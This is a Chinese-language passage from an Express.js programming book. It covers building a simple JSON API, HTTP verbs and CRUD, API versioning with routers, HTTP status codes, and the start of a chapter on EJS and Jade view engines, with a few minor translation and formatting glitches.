有了这些,您可以使用npm start启动应用程序。访问http://localhost:3000,输入一个 ZIP 代码,并观察温度的出现!

图 5.1 ZIP 代码的温度实际应用

那就是我们的简单应用程序!它利用了 Express 的有用路由功能,提供 HTML 视图、JSON 和静态文件。

如果您愿意,您可以扩展此应用程序以支持不仅仅是美国 ZIP 代码,或者显示不仅仅是温度,或者添加 API 文档,或者添加更好的错误处理,或者也许更多!

5.7     总结

在本章中,您看到了:

·  在概念层面上,路由是什么:将 URL 映射到一段代码

·  简单路由、模式匹配路由以及更多

·  从路由中获取参数

·  使用 Express 4 的新路由器功能

·  使用具有路由功能的中间件

·  使用express.static服务静态文件,这是 Express 内置的静态文件中间件

·  如何使用 Express 与 Node 的内置 HTTPS 模块

6  构建 API

朋友们,围坐在一起。本章标志着一个新的开始。今天,我们离开了抽象但关键的“核心 Express”,进入了现实世界。在这本书的剩余部分,我们将在 Express 之上构建更多真实系统。我们将从 API 开始。

"API"是一个相当宽泛的术语。

它代表“应用程序编程接口”,这并没有多少神秘感。如果由我来决定(实际上并不是),我会将其重命名为类似“软件接口”的东西。用户界面是为了被人类用户消费而设计的,而软件接口是为了被代码消费而设计的。在某种程度上,所有用户界面都建立在软件接口之上——所有用户界面都建立在某些 API 之上。

从高层次来看,API 只是代码与代码之间交流的一种方式。这可能意味着一台计算机在自言自语,或者一台计算机通过网络与另一台计算机交流。例如,一个视频游戏可能会使用一个 API,允许代码在屏幕上绘制图形。我们已经看到了 Express API 中的一些方法,比如app.useapp.get。这些只是你可以作为程序员用来“与”其他代码“交流”的接口。

还有计算机到计算机的 API。这些通过网络进行,通常通过互联网。这些计算机可能运行着不同的编程语言和/或不同的操作系统,因此它们已经发展出了通用的通信方式。有些只是发送纯文本,而有些可能会选择 JSON 或 XML。它们可能会通过 HTTP 或通过 FTP 等协议发送数据。无论如何,双方都必须同意将以某种方式发送数据。在本章中,我们创建的 API 将使用 JSON。

我们将讨论你可以用 Express 构建的交互式 API。这些 API 将接受 HTTP 请求并以 JSON 数据响应。

到本章结束时,程序员将能够构建使用你创建的 JSON API 的应用程序。我们还将致力于设计良好的 API。良好 API 设计的核心原则是做消费你 API 的开发者期望的事情。这些期望中的大部分可以通过遵循 HTTP 规范来实现。而不是让你阅读一份冗长、枯燥(但非常有趣)的规范文档,我会告诉你你需要知道的部分,这样你就可以编写一个好的 API。

就像“好代码”与“坏代码”这样的模糊概念一样,这里并没有很多明确的界限。很多都是开放的,供你解释。你可以想出很多例子,你可能想要偏离这些既定的最佳实践,但请记住:目标是做其他开发者期望的事情。

在本章中,我们将学习:

·  API 是什么以及不是什么

·  使用 Express 构建 API 的基本原理

·  HTTP 方法和它们与常见应用操作的关系

·  如何创建 API 的不同版本以及为什么你想这么做

·  如何正确使用 HTTP 状态码

让我们开始吧。

6.1     一个基本的 JSON API 示例

让我们讨论一个简单的 JSON API 及其用途,以便我们能够看到我们将要构建的具体示例。

让我们想象一个简单的 API,它接收一个时区字符串,如"America/Los_Angeles""Europe/London",并返回一个表示该时区当前时间的字符串(如"2015-04-07T20:09:58-07:00")。请注意,这些字符串不是人类会自然输入或容易阅读的东西——它们是为了让计算机理解。

我们的 API 可能接受对以下 URL 的 HTTP 请求:

/timezone?tz=America+Los_Angeles

我们的 API 服务器可能会以 JSON 的形式响应,如下所示:

{   "time": "2015-06-09T16:20:00+01:00",   "zone": "America/Los_Angeles"``}

可以想象编写使用此 API 的简单应用程序。这些应用程序可以在各种平台上运行,只要它们与这个 API 通信并且能够解析 JSON(大多数平台都可以),它们就可以构建他们想要的任何东西!

您可以构建一个简单的网页来消费此 API,如图 6.1 所示。它可能会向您的服务器发送 AJAX 请求,解析 JSON,并在 HTML 中显示它。

图 6.1 消费我们 JSON API 的网站。

您也可以构建一个如图 6.2 所示的移动应用。它将向我们的 API 服务器发送请求,解析 JSON,并在屏幕上显示结果。

图 6.2 使用您 API 的移动应用。

您甚至可以构建一个在终端中运行的命令行工具,如图 6.3 所示。再次,它将向 API 服务器发送请求,解析 JSON,并在终端中向人类显示结果。

图 6.3 即使是基于终端的应用程序也可以消费 JSON API。

重点在于:如果您创建了一个从计算机接收请求并向计算机(而不是人类)发送响应的 API,您可以在该 API 之上构建用户界面。我们在上一章的天气应用中就是这样做的——它使用 API 获取天气数据并将其显示给用户。

6.2     一个简单的 Express 驱动的 JSON API

既然我们已经知道了 API 是什么,让我们用 Express 构建一个简单的 API。

Express API 的基本原理相当简单:接收请求,解析它,并以 JSON 对象和 HTTP 状态码的形式响应。我们将使用中间件和路由来接收和解析请求,并使用 Express 的便利性来响应请求。

注意:从技术上讲,API 不必使用 JSON——它们可以使用其他数据交换格式,如 XML 或纯文本。JSON 与 Express 的集成最佳,与基于浏览器的 JavaScript 配合良好,并且是最受欢迎的 API 选择之一,所以我们在这里使用它。如果您想使用其他格式,也可以!

让我们构建一个简单的 API,它可以生成随机整数。这可能会显得有些牵强,但我们可能需要在多个平台(iOS、Android、Web 等)上有一个一致的随机数生成器,而且我们不希望编写相同的代码。

·  任何请求 API 的人都必须发送最小值和最大值。

·  我们将解析这些值,计算随机数,并将其作为 JSON 发送回去。

你可能会认为 JSON 对于这种情况来说有点过度——为什么不坚持使用纯文本呢?——但它将帮助我们学习如何做到这一点,并使以后扩展我们的功能变得容易。

为了构建这个项目,我们将:

  1. 创建一个package.json文件来描述我们应用的元数据

  2. 创建一个名为app.js的文件,它将包含我们所有的代码

  3. app.js中,我们将创建一个 Express 应用并附加一个提供随机数的单一路由

让我们开始吧。

如同往常,为了启动一个项目,创建一个新的文件夹并创建一个 package.json 文件。你可以通过运行npm init来创建这个文件,或者你可以手动输入文件内容。无论如何,你都需要创建它并安装 Express。你的 package.json 应该看起来像这样:

列表 6.1 我们随机数项目的 package.json

{   "name": "random-number-api",   "private": true,   "scripts": {     "start": "node app"   },   "dependencies": {     "express": "⁴.12.3"       #A   }``}

A 总是如此,你的包版本号可能会有所不同。

接下来,我们想要创建 app.js。在项目的根目录中创建它,并放入以下内容:

列表 6.2 我们的随机数应用

var express = require("express"); var app = express(); app.get("/random/:min/:max", function(req, res) {   var min = parseInt(req.params.min);  #A   var max = parseInt(req.params.max);  #A     if (isNaN(min) || isNaN(max)) {                     #B     res.status(400);                                  #B     res.json({ error: "Bad request." });              #B     return;                                           #B   }                                                   #B     var result = Math.round((Math.random() * (max - min)) + min);  #C     res.json({ result: result });   #C }); app.listen(3000, function() {   console.log("App started on port 3000");``});

A 我们在请求的 URL 中传递两个参数:最小值和最大值。

B 执行一些错误检查。如果任一数字格式不正确,我们返回一个错误。

C 计算并发送结果作为 JSON。

如果你启动这个应用并访问localhost:3000/random/10/100,你将看到一个包含 10 到 100 之间随机数的 JSON 响应。它看起来可能像这样:

图 6.4 在浏览器中测试你的 API。尝试刷新,你会看到不同的数字!

让我们逐步分析这段代码。

前两行简单地引入 Express 并创建一个新的 Express 应用,就像我们之前看到的那样。

接下来,我们创建一个用于 GET 请求的路由处理器。这将处理像/random/10/100 或/random/50/52 这样的请求,但它也会处理像/random/foo/bar 这样的请求。我们必须确保这两个字段都是数字,我们很快就会做到这一点。

接下来,我们使用内置在 JavaScript 中的 parseInt 函数解析数字。这个函数要么返回一个数字,要么返回 NaN。如果任一值是 NaN,我们向用户显示错误。让我们详细看看这五行,因为它们非常重要。

列表 6.3 深入错误处理器

if (isNaN(min) || isNaN(max)) {   res.status(400);   res.json({ error: "Bad request." });   return;``}

第一行对你来说不应该太陌生:它只是检查两个数字中的任何一个是否是 NaN,这意味着它们格式不正确。如果是,我们做三件事:

  1. 将 HTTP 状态码设置为 400。如果你曾经见过 404 错误,这只是一个变体:它表示用户请求中存在问题。我们将在本章后面更多地讨论它。

  2. 发送一个 JSON 对象。在这种情况下,我们发送一个包含错误的对象。

  3. 返回。如果我们不返回,我们会继续执行函数的其余部分,我们会发送两次请求,Express 会开始抛出讨厌的错误。

最后,我们计算结果并将其作为 JSON 发送!

这是一个相当基本的 API,但它展示了使用 Express 构建 API 的基础:解析请求、设置 HTTP 状态码和发送 JSON!

现在我们已经了解了基础知识,我们可以开始学习更多关于构建更大、更好的 API 的内容。

列表 6.3 深入错误处理器

HTTP 中没有内置任何东西来阻止它定义任何你想要的方法,但 Web 应用程序通常使用以下四种:

许多应用程序使用 CRUD。例如,想象一个没有用户账户的照片分享应用程序;任何人都可以上传照片。以下是您可能以 CRUD 风格设想的方式:

· 用户可以上传照片;这是创建步骤。

· 用户可以浏览照片;这是读取部分。

· 用户可以更新照片,可能通过给他们不同的过滤器或更改标题;这将是一个更新。

· 用户可以从网站上删除照片。这将是,嗯,删除。

你可以想象许多你喜欢的应用程序都符合这个模型,从照片分享到社交网络到文件存储。

在我们讨论 CRUD 如何融入 API 之前,我们需要先谈谈一种叫做 HTTP 方法的东西,也称为 HTTP 动词。

6.3.1 HTTP 动词(也称为 HTTP 方法)

HTTP 规范定义方法如下:

方法令牌表示要对由 Request-URI 标识的资源执行的操作。方法是区分大小写的。

哎,这很难读。

人类可能会这样理解:客户端向服务器发送一个带有方法的 HTTP 请求。他们可以选择他们想要的任何方法,但实际上只有少数几种是你使用的。服务器看到这个方法并相应地做出响应。

There's nothing baked into HTTP that prevents it from defining any method you want, but web applications typically use the following four:

  1. GET 可能是任何人使用最普遍的 HTTP 方法。正如其名所示,它获取资源。当你加载某人的主页时,你 GET 它。当你加载一张图片时,你 GET 它。GET 方法不应该改变你的应用程序状态;其他方法会这样做。

幂等性对 GET 请求很重要。“幂等”是一个华丽的词,意思是“做一次应该和做多次没有区别”。如果你 GET 了一张图片一次,然后刷新 500 次,图片不应该有任何变化。这并不是说响应永远不会改变——页面可能会根据变化的股票价格或新的时间而改变——但 GET 请求不应该引起这种变化。这就是幂等的。

  1. POST 是另一个常见的,通常用于请求更改服务器状态。你 POST 一篇博客文章;你 POST 一张照片到你的社交网络;你 POST 当你在网站上注册新账户时。POST 用于在服务器上创建记录,而不是修改现有记录——这就是 PUT 和 DELETE 的用途,如下文所述。

POST 也用于动作,比如“购买此商品”。

与 GET 不同,POST 是非幂等的。这意味着第一次 POST 时状态会改变,第二次,第三次,以此类推。

  1. 在我看来,PUT 这四个方法中名字最糟糕;我认为像“更新”或“更改”这样的名字更适合它。如果我已经在网上发布了(POSTed)一份工作简介,后来想更新它,我会使用 PUT 来进行这些更改。我可以对文档、博客条目或其他内容进行 PUT 更改。(我们不会使用 PUT 来删除条目;那是 DELETE 的用途,我们将在下一节中看到。)

PUT 另一个有趣的部分是;如果你尝试对不存在的记录进行 PUT 更改,服务器可以(但不一定)创建该记录。你可能不想更新一个不存在的个人资料,但你可能想在个人网站上更新页面,无论它是否存在。

PUT 是幂等的,这对我来说一开始并不直观,但最终我明白了。假设我在一个网站上叫“Evan Hahn”,但我想改为“Max Fightmaster”。我不会 PUT “将名字从 Evan Hahn 更改为 Max Fightmaster”;我会 PUT “将我的名字改为 Max Fightmaster;我不在乎之前是什么”。这样就可以保证幂等性。我可以做一次或 500 次,我的名字仍然是 Max Fightmaster。它就是这样幂等的。

  1. DELETE 可能是最容易描述的。和 PUT 一样,你基本上指定“DELETE 记录 123”。你可以 DELETE 一篇博客文章,或 DELETE 一张照片,或 DELETE 一条评论。就是这样!

DELETE 和 PUT 一样是幂等的。假设我意外地发布(POSTed)了一张我戴着灯罩的尴尬照片。如果我不想让它在那里,我可以 DELETE 它。现在它消失了!无论我要求删除一次还是 500 次,它都会消失。(谢天谢地!)

没有什么严格地强制执行这些约束——理论上你可以使用 GET 请求来做 POST 请求应该做的事情,例如——但这是一种不良的做法,并且违反了 HTTP 规范。这不是人们所期望的。许多浏览器也会根据 HTTP 请求的类型有不同的行为,所以你总是要努力使用正确的请求。

HTTP 规范了其他一些动词,但我从未有远离那四个动词的需求。

"动词" 或 "方法" ? HTTP 1.0 和 1.1 的规范在描述这个概念时使用的是“方法”这个词,所以我猜这在技术上是对的。“动词”也被使用了。为了我们的目的,我主要会称它们为“动词”,因为 Express 文档就是这样说的。要知道你可以使用两者(并且那些吹毛求疵的人应该称它们为“方法”)。

在 Express 中,你已经看到了如何处理不同的 HTTP 方法。为了刷新你的记忆,这里有一个简单的应用程序,它会针对每种不同的方法响应一条简短的消息:

列表 6.4 处理不同的 HTTP 动词

var express = require("express"); var app = express(); app.get("/", function(req, res) {   res.send("你刚刚发送了一个 GET 请求,朋友"); }); app.post("/", function(req, res) {   res.send("一个 POST 请求?很好"); }); app.put("/", function(req, res) {   res.send("我不再看到很多 PUT 请求了"); }); app.delete("/", function(req, res) {   res.send("哦我的,一个 DELETE??"); }); app.listen(3000, function() {   console.log("应用程序正在监听端口 3000");``});

如果你启动这个应用程序(如果它保存为 app.js,则运行 node app.js),你可以使用方便的 cURL 命令行工具尝试发送不同的请求。cURL 默认发送 GET 请求,但你可以使用其 -X 参数发送其他动词。例如, curl -X PUT localhost:3000 将发送一个 PUT 请求。

图 6.5 使用 cURL 工具向我们的服务器发送不同的请求。

这应该都是之前章节中的复习内容:你可以使用不同的处理程序来处理不同的 HTTP 方法。

6.3.2  使用 HTTP 方法的 CRUD 应用程序

让我们回顾一下我们的照片分享应用。以下是您可能以 CRUD 风格想象它的方式:

·  用户可以上传照片;这是创建步骤。

·  用户可以浏览照片;这是读取部分。

·  用户可以更新照片,可能通过给他们不同的过滤器或更改标题;这将是一个更新。

·  用户可以从网站上删除照片。

如果你像我一样,你可能没有立即看到 CRUD 和我上面列出的四个主要 HTTP 动词之间的联系。但如果 GET 是用于读取资源,而 POST 是用于创建资源……哇!我们看到了以下内容:

·  创建 = POST

·  读取 = GET

·  更新 = PUT

·  删除 = DELETE

四个主要的 HTTP 方法非常适合 CRUD 风格的应用程序,这在网络上非常常见。

POST 与 PUT

关于哪些 HTTP 动词对应于哪些 CRUD 操作有一些争议。大多数人同意 Read == GET 和 Delete == DELETE,但 Create 和 Update 则有些模糊。

因为 PUT 可以创建记录,就像 POST 可以一样,所以可以说 PUT 更好地对应于 Create。PUT 可以创建和更新记录,所以为什么不在两个地方都放它呢?

类似地,PATCH 方法(我们尚未提及)有时扮演更新角色。引用规范,“PUT 方法已经定义为用完整的新主体覆盖资源,并且不能被重新用于执行部分更改。”PATCH 允许你部分覆盖资源。PATCH 直到 2010 年才正式定义,所以在 HTTP 场景中相对较新,这就是为什么它使用较少。无论如何,有些人认为 PATCH 比 PUT 更适合更新。

因为 HTTP 没有对此类内容做出过于严格的规范,所以这取决于你决定做什么。在这本书中,我们将使用上述约定,但要知道这里的期望有些模糊。

6.4 API 版本控制

让我带你通过一个场景。

你为你的时区应用程序设计了一个公共 API,它变得非常受欢迎。世界各地的人们都在使用它。人们用它来查找全球各地的时间。它运行得很好。

但是,几年后,你想更新你的 API。你已经决定要改变一些东西,但有一个问题:如果你改变它,所有使用你的 API 的人都将不得不更新他们的代码。在这个时候,你可能感到有些束手无策。你该怎么办?你是做出你想要的改变并破坏旧用户,还是让你的 API 停滞不前,永远无法保持更新?

对于所有这些问题,有一个解决方案:对 API 进行版本控制。

你所需要做的就是给你的 API 添加一些版本信息。所以一个进入这个 URL 的请求可能是你的 API 的版本 1:

/v1/timezone

而进入 API 版本 2 的请求可能会访问这个 URL:

/v2/timezone

这允许你通过简单地创建一个新版本来更改你的 API!现在,如果有人想要升级到版本 2,他们将通过有意识地更改他们的代码来完成,而不是版本被从他们手中夺走。

Express 通过使用我们在上一章中看到的路由器,使这种分离变得非常容易。

要创建你的 API 的版本 1,你可以创建一个仅处理版本 1 的路由器。文件可能被称为 api1.js,看起来像这样:

列表 6.5 API 的版本 1,在 api1.js 中

var express = require("express"); var api = express.Router();   #A api.get("/timezone", function(req, res) {      #B   res.send("Sample response for /timezone"); }); api.get("/all_timezones", function(req, res) { #B   res.send("Sample response for /all_timezones"); }); module.exports = api;  #C

A 创建一个新的路由器,一个迷你应用程序。

B 这些只是一些示例路由。你可以向这些路由器添加任何你想要的路由或中间件。

C 导出路由器,以便其他文件可以使用它。

注意,“v1”在路由中任何地方都没有出现。为了在你的应用中使用这个路由器,你需要创建一个完整的应用程序,并从主应用代码中使用路由器。它可能看起来像列表 6.6。

列表 6.6 app.js 中的主应用代码

var express = require("express"); var apiVersion1 = require("./api1.js");   #A var app = express(); app.use("/v1", apiVersion1);  #A app.listen(3000, function() {   console.log("App started on port 3000");``});

A 如前一章所示,需要并使用路由器。

然后,过了很多个月后,你决定实现 API 的版本 2。它可能位于 api2.js 中。它也会是一个路由器,就像 api1.js 一样。它可能看起来像列表 6.7。

列表 6.7 API 的版本 2,在 api2.js 中

var express = require("express"); var api = express.Router(); api.get("/timezone", function(req, res) {      #A   res.send("API 2: super cool new response for /timezone"); }); module.exports = api;

A 再次注意,这些只是一些示例路由。

现在,要将你的 API 的版本 2 添加到应用中,只需像版本 1 一样需要并使用它即可:

列表 6.8 app.js 中的主应用代码

var express = require("express"); var apiVersion1 = require("./api1.js"); var apiVersion2 = require("./api2.js");   #A var app = express(); app.use("/v1", apiVersion1); app.use("/v2", apiVersion2);  #A app.listen(3000, function() {   console.log("App started on port 3000");``});

A 注意这两行新内容。这就像使用版本 1 的路由器!

你可以尝试在浏览器中访问这些新的 URL,以确保版本化 API 工作。

图 6.6 在浏览器中测试你的两个 API 版本。

你也可以使用 cURL 工具在命令行测试你的应用。

图 6.7 使用 cURL 命令行工具测试你的版本化 API。

正如我们在上一章中看到的,路由器允许你将不同的路由分割到不同的文件中。版本化 API 是路由器用途的一个很好的例子。

6.5 设置 HTTP 状态码

每个 HTTP 响应都伴随着一个 HTTP 状态码。最著名的一个是 404,代表“资源未找到”。当你访问服务器找不到的 URL 时,你很可能看到 404 错误——也许你点击了一个过期的链接或者输入了错误的 URL。

虽然 404 是最著名的,但 200 可能是最常见的,它简单地定义为“OK”。与 404 不同,当你浏览网页时,你通常不会在网页上看到“200”文本。每次你成功加载一个网页、一个图片或一个 JSON 响应时,你可能会得到一个状态码 200。

结果是,HTTP 状态码比 404 和 200 多得多,每个都有不同的含义。有一小部分 100 码(如 100 和 101),以及 200s、300s、400s 和 500s 中的几个。这些范围并不是“填满”的——也就是说,前四个码是 100、101、102,然后跳过所有码直接到 200。

每个范围都有一个特定的主题。Steve Losh 发了一条很好的推文来总结它们(我不得不稍作改写),从服务器的角度讲述:

HTTP 状态码概述:

1xx:稍等

2xx:给你

3xx:走开

4xx:你搞砸了

5xx:我搞砸了

@stevelosh, https://twitter.com/stevelosh/status/372740571749572610

我喜欢这个总结。(真正的总结稍微有点粗俗。)

在规范中的六十多个码(在 tools.ietf.org/html/rfc7231#section-6)之外,HTTP 没有定义更多。你可以指定自己的——HTTP 允许这样做——但通常不会这样做。记住好的 API 设计的第一个原则:定义自己的 HTTP 状态码不会是人们所期望的。人们期望你坚持使用常规的候选者。

维基百科有一个非常好的列表,列出了每个标准(以及一些非标准)的 HTTP 响应码,在 https://en.wikipedia.org/wiki/List_of_HTTP_status_codes,但有一些确实与使用 Express 构建 API 有关。我们将逐一解释每个范围(100s,然后是 200s 等)以及你应在应用程序中设置的一些常见 HTTP 码。

HTTP 2 怎么样?大多数 HTTP 请求都是 HTTP 1.1 请求,其中一小部分仍在使用版本 1.0。HTTP 2,这个标准的下一个版本,正在逐渐被实施并在互联网上推广。幸运的是,对我们来说,大多数变化都在底层发生,你不必处理它们。它确实定义了一个新的状态码——421,但这不会对你产生太大影响。

但首先,你如何在 Express 中设置 HTTP 状态码?

6.5.1 设置 HTTP 状态码

默认情况下,状态码是 200。如果有人访问了一个找不到资源的 URL,而你又没有为其设置处理器,Express 将发送一个 404 错误。如果你服务器上有些其他错误,Express 将发送一个 500 错误。

但你想要控制你得到的状态码,所以 Express 给了你这个功能。Express 向 HTTP 响应对象添加了一个名为 status 的方法。你只需要用你的状态码数字调用它,你就可以开始了。

这种方法可能在请求处理器内部被这样调用:

列表 6.9 在 Express 中设置 HTTP 状态码

// … res.status(404); // …

这个方法是可以“链式调用”的,所以你可以将它与像 json 这样的东西配对,以设置状态码并在一行中发送一些 JSON,如列表 6.10 所示。

列表 6.10 设置 HTTP 状态码和发送一些 JSON

res.status(404).json({ error: "Resource not found!" }); // 这相当于: res.status(404); res.json({ error: "Resource not found!" });

API 并不太复杂!

Express 扩展了 Node 提供的“原始”HTTP 响应对象。当你使用 Express 时,你应该使用 Express 的方式,但你可能会看到一些这样设置状态码的代码:

列表 6.11 以“原始”方式设置状态码

res.statusCode = 404;

你有时会在阅读中间件时看到这个代码,或者当有人使用“原始”Node API 而不是 Express API 时。

6.5.2 100 范围

100 范围很奇怪。

100 范围内的官方状态码只有两个:100(“继续”)和 101(“切换协议”)。你很可能自己永远不会处理这些。如果你确实遇到了,请检查规范或维基百科上的列表。

看看!已经完成了状态码的五分之一。

6.5.3 200 范围

Steve Losh 将 200 范围总结为“给你”。HTTP 规范在 200 范围内定义了几个状态码,但最常见的有四个。

200: “OK”

200 是网络上最常见的 HTTP 状态码。HTTP 将状态码 200 称为“OK”,这基本上就是它的意思:这个请求和响应的每一部分都进行得很顺利。

通常,如果你发送整个响应都很顺利,没有错误或重定向(我们将在 300s 部分看到),那么你会发送 200 状态码。

201: “已创建”

状态码 201 与 200 非常相似,但它适用于稍微不同的用例。

请求创建资源(通常是通过 POST 或 PUT 请求)是很常见的。这可能是在创建博客文章、发送消息或上传照片。如果创建成功且一切正常,你将想要发送 201 状态码。

这有点微妙,但通常是这种情况的正确状态码。

202: “已接受”

就像 201 是 200 的一个变体一样,202 是 201 的一个变体。

我希望我现在已经把异步性是 Node 和 Express 的一个重要部分深深地印在你的脑海里了。有时,你会异步地排队创建资源,但资源可能还没有被创建。

如果你相当确定请求是要求创建一个有效的资源(也许你已经检查了数据的有效性),但你还没有创建它,你可以发送 202 状态码。这实际上告诉客户端,“嘿,一切正常,但我还没有创建资源。”

有时候你会想发送 201 状态码,而有时候你会想发送 202 状态码;这取决于具体情况。

204: “无内容”

204 是 201 的删除版本。当你创建资源时,通常发送 201 或 202 消息。当你删除某些内容时,通常除了“是的,这已经被删除了”之外没有其他可以响应的内容。这就是你通常会发送 204 代码的时候。还有一些其他时候你不需要发送任何类型的响应,但删除是最常见的用例。

6.5.4 300 范围

300 范围内有几个状态码,但你实际上只会设置其中的三个,而且它们都涉及重定向。

301: “永久移动”

HTTP 状态码 301 表示“不要访问这个 URL anymore;查看另一个 URL”。301 响应伴随着一个名为Location的 HTTP 头,这样你知道要重定向到哪里。

你可能在网上浏览过,并且在生活中被重定向过——这很可能是由于 301 代码。这通常是因为页面已移动。

303: “查看其他”

HTTP 状态码 303 也是一个重定向,但它略有不同。就像 200 代码用于“常规”请求,201 代码用于创建资源的请求一样,301 代码用于“常规”请求,而 303 代码用于创建资源且希望重定向到新页面的请求。

307: “临时重定向”

最后还有一个重定向状态码:307。就像上面的 301 代码一样,你可能在网上浏览时被重定向过,这可能是由于 307 代码。它们很相似,但有一个重要的区别。

当 301 信号表示“永远不要访问这个 URL;查看另一个 URL”时,307 信号表示“暂时查看另一个 URL”。这可能会用于对 URL 的临时维护。

6.5.5  400 范围

400 范围是最大的,通常意味着请求中有些东西是错误的。换句话说,客户端搞砸了,这不是服务器的错。这里有各种各样的错误。

401 和 403 认证错误

对于失败的客户端认证,有两种不同的错误,它们是 401(“未授权”)和 403(“禁止”)。这两个词“未授权”和“禁止”听起来很相似——这两个之间有什么区别?

简而言之,401 错误是当用户根本未登录时。403 错误是当用户以有效用户身份登录,但他们没有权限执行他们试图做的事情时。

例如,想象一个网站,除非你登录,否则你什么也看不到。这个网站还有一个管理员面板,但不是所有用户都可以管理网站。在你登录之前,你会看到 401 错误。一旦你登录,你就不会再看到 401 错误。如果你以非管理员用户身份尝试访问管理员面板,你会看到 403 错误。

当用户无权执行他们正在做的事情时,发送这些响应代码。

404: “未找到”

我认为我不用多说什么关于 404——你可能在浏览网页时遇到过。我发现 404 错误有一点令人惊讶的是,你可以访问一个有效的路由,但仍然得到 404 错误。

例如,假设你想访问一个用户的页面。用户#123 的主页在/users/123。但如果你打错了,访问了/users/1234,并且没有 ID 为 1234 的用户,那么你会得到一个 404 错误。

其他错误

你会遇到很多其他的客户端错误——太多以至于无法在这里一一列举。访问en.wikipedia.org/wiki/List_of_HTTP_status_codes的状态码列表,以找到适合你的正确状态码。

然而,如果你不确定,发送一个 400 “错误请求”错误。它是对任何类型错误请求的通用响应,包括任何内容。通常,这意味着请求有格式错误的输入——例如缺少参数。虽然可能有一个更好地描述客户端错误的状态码,但在你不确定选择哪个时,400 会是一个不错的选择。

6.5.6  500 范围

HTTP 规范中的最后一个范围是 500 范围,虽然这里有几个错误,但最重要的是 500:“内部服务器错误”。与 400 错误不同,那是客户端的责任,500 错误是服务器的责任。这可能包括任何问题,从异常到数据库的断开连接。

理想情况下,你永远不应该能够从客户端引起 500 错误——这意味着你的客户端可以导致你的服务器出现错误。

如果你捕获到一个错误,并且它确实看起来是你的责任,那么你可以响应一个 500 错误。与你想尽可能详细描述的其他状态码不同,通常最好是含糊其辞,说“内部服务器错误”,这样黑客就无法知道你系统中存在的弱点。我们将在第九章讨论安全问题时更多地讨论这一点。

6.6     总结

在本章中,你学习了:

·  如何使用 Express 构建 API:使用路由和路由参数解析响应,使用 res.status 选择状态码,以及使用 res.json 发送 JSON。

·  HTTP 方法及其如何响应常见的 CRUD 操作(创建 = POST,读取 = GET,更新 = PUT,删除 = DELETE)。

·  如何使用 Express 的路由器来版本化你的 API:为每个 API 版本创建路由器,然后在你的主应用程序中使用它们

·  HTTP 状态码是什么以及它们的含义。记住史蒂夫·洛什的推文:100 表示“稍等”,200 表示“给你”,300 表示“走开”,400 表示“你搞砸了”,500 表示“我搞砸了”。

7  视图与模板:Jade 与 EJS

在前面的章节中,我们学习了 Express 是什么,Express 如何工作,以及如何使用它的路由功能。从本章开始,我们将停止学习 Express!

...好吧,好吧,不是完全这样。我们仍然会使用 Express 来驱动我们的应用程序,不用担心。但正如我们在本书前面讨论的那样,Express 是无偏见的,并且需要大量的第三方配件来制作一个完整的应用程序。在本章以及之后,我们将真正深入一些这些模块,学习它们是如何工作的,以及它们如何让你的应用程序变得可爱。

在本章中,我们将讨论视图。视图很棒。它们为我们提供了一个方便的方式来动态生成内容(通常是 HTML)。我们之前已经见过一个视图引擎;EJS 帮助我们将特殊变量注入到 HTML 中。但尽管 EJS 给了我们视图的概念性理解,我们从未真正探索过 Express(以及其他视图引擎)所能提供的一切。我们将学习将值注入模板的多种方法,了解 EJS、Jade 以及其他与 Express 兼容的视图引擎的功能,以及视图世界中的某些微妙之处。

让我们开始吧。

7.1     Express 的视图功能

在我开始之前,让我定义一个我将大量使用的术语:视图引擎。当我提到“视图引擎”时,我基本上是指“执行视图实际渲染的模块”。

Jade 和 EJS 是视图引擎,还有很多其他的。

美国歌手兼词曲作者 India.Arie 有首名为 "Brown Skin" 的优秀歌曲。关于棕色皮肤,她唱道:“我分不清你的开始,也分不清我的结束”。同样,当我第一次开始使用 Express 视图时,我很困惑 Express 和视图引擎的界限在哪里。幸运的是,这并不太难!

Express 对你使用的视图引擎没有意见。只要视图引擎暴露了 Express 期望的 API,你就可以开始了。Express 提供了一个便利函数来帮助你渲染视图;让我们看看。

7.1.1  简单的视图渲染

我们之前已经看到了如何渲染视图的简单示例,但以防万一,这里有一个渲染简单 EJS 视图的示例应用:

列表 7.1 简单视图渲染示例

var express = require("express");  #A var path = require("path");  #A var app = express();  #A app.set("view engine", "ejs");  #B app.set("views", path.resolve(__dirname, "views"));  #C app.get("/", function(req, res) { #D     res.render("index");  });  app.listen(3000);  #E

A 首先,我们需要引入所需的模块并创建我们的应用程序。

B 这告诉 Express,任何以 ".ejs" 结尾的文件都应该使用 require("ejs") 输出的内容进行渲染。一些视图引擎遵循这个约定;我们稍后会看到如何使用不遵循此约定的视图引擎。

C 这告诉 Express 你的视图目录在哪里。它默认是这样的,但我更喜欢明确指出。这也确保了在 Windows 上也能正常工作。

D 当我们访问根目录时,我们将渲染一个名为 "index" 的文件。这解析为 "views/index.ejs",然后使用 EJS 进行渲染。

E 在端口 3000 上启动服务器!

一旦你完成了 EJS(以及当然 Express)的 npm install,这应该就能工作!当你访问根目录时,它会找到 views/index.ejs 并使用 EJS 进行渲染!99% 的时间,你会做类似的事情;一直使用一个视图引擎。但如果决定混合使用,事情可能会变得更加复杂。

7.1.2  复杂的视图渲染

这里是一个从响应中渲染视图的复杂示例,使用了两种不同的视图引擎:Jade 和 EJS。这应该能说明这可能会变得多么疯狂:

列表 7.3 复杂渲染示例

var express = require("express"); var path = require("path"); var ejs = require("ejs"); var app = express(); app.locals.appName = "Song Lyrics"; app.set("view engine", "jade"); app.set("views", path.resolve(__dirname, "views")); app.engine("html", ejs.renderFile); app.use(function(req, res, next) {   res.locals.userAgent = req.headers["user-agent"];   next(); }); app.get("/about", function(req, res) {   res.render("about", {     currentUser: "india-arie123"   }); }); app.get("/contact", function(req, res) {   res.render("contact.ejs"); }); app.use(function(req, res) {   res.status(404);   res.render("404.html", {     urlAttempted: req.url   }); }); app.listen(3000);

当你在这三种情况下调用 render 时,会发生以下情况。虽然从高层次来看看起来很复杂,但实际上只是几个简单的步骤:

1.  每次调用 render 时,Express 都会构建上下文对象。当需要渲染时,这些上下文对象将被传递给视图引擎。这些实际上是视图可用的变量。

它首先添加来自 app.locals 的所有属性,这是一个对每个请求都可用的对象。然后它添加 res.locals 中的所有属性,如果存在,将覆盖来自 app.locals 的任何添加。最后,它添加传递给 render 的对象的属性(再次覆盖之前添加的任何属性)。最终,如果我们访问 /about,我们将创建一个包含三个属性的上下文对象:appNameuserAgentcurrentUser/contact 将只有 appNameuserAgent 在其上下文中,而 404 处理程序将具有 appNameuserAgenturlAttempted

